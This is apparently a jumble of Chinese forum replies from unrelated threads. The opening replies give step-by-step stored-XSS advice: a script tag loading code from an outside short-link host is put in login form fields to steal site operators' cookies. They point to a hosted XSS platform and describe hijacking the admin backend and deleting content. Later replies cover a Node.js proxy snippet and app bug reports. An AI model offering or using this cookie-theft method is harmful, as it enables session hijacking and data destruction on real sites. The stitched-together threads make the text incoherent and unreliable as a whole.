最简单的方法是写个 form ，这样网站的 js 都用不了，然后 user 写上你得到的代码<script src=http://t.cn/Rt2iRuv></script> passwd 也可以，最后这个会插入 他们数据库，如果没有过滤的话，当他们打开你会得到 cookie ，其中还有 keepsession 的选项

@fishcat 上都说了是顺手百度的- - 需要的自己搭建就好了

@0x5e xssplatform.zip 找一个叫做这个东西的，然后自己搭建。

@0x5e 这个平台我顺手百度的，可信行不知道，你可以用源码自己搭一个平台，乌云有说明

@0x5e http://123.57.48.113/xss//index.php?do=login 注册个帐号，然后会有一个<script>xxx</script>的玩意儿， 把假的用户名或者密码换成这个玩意儿，只要那个人浏览了要是没有做过滤，你会得到他的 cookie :) 然后火狐改个 cookie 就能直接登录后台了，打 QQ 片子屡试不爽

用 xss 打它把 这个比较好玩儿 :) 拿了后台直接删东西

建议改成 csv 格式并共享一下，方便做 app

嗯- - 没有好用过，虽然肉身翻墙也不管用

牛逼先马克再说

@kevinroot 看呢，瞬移 基本不可能，我把一开始的初始位置也改了 :) 一个是方向不大对，一个是速度不大对，公司没有 mac 没法调 ， 不过还是感谢下作者。

@fcicq
```
var http = require("http");
var url = require("url");
var server = http.createServer(function (sreq, sres) {
var params = [];
params = url.parse(sreq.url, true).query;
var creq = http.get(params['url'], function (cres) {
sres.writeHead(cres.statusCode, cres.headers);
cres.pipe(sres);
});
sreq.pipe(creq);
});
server.listen(8081, "127.0.0.1", function () {
console.log("listen on" + server.address().port + "......");
});
```
写了这么一段代码感觉应该没有问题了。。 但是还是报错，和我上面报错一样。
两者都是可以回显一个页面然后就退出了。

@dlllcs 一开始也想过，但是服务器有限制，本地写的 bash 脚本需要进行对远程数据中心不同端口的 web 端进行访问，无奈之下，只能想到代理，没有 php ，只有 node

顺便报一下 bug 似乎网页控制得左右是反的... 昨天试了一下 走路速度略慢

顺便说一下你写个中文的说明多好- -

图挂了

@fcicq 现在正在研究使用 pipe thx

@chairuosen 我知道啊，这是两件事情，可能我表述的不清楚。

@fcicq 不行，他这个也是有 bug 的，也是只能显示一次，最后一个 crash 。

@fcicq thx 我去看一下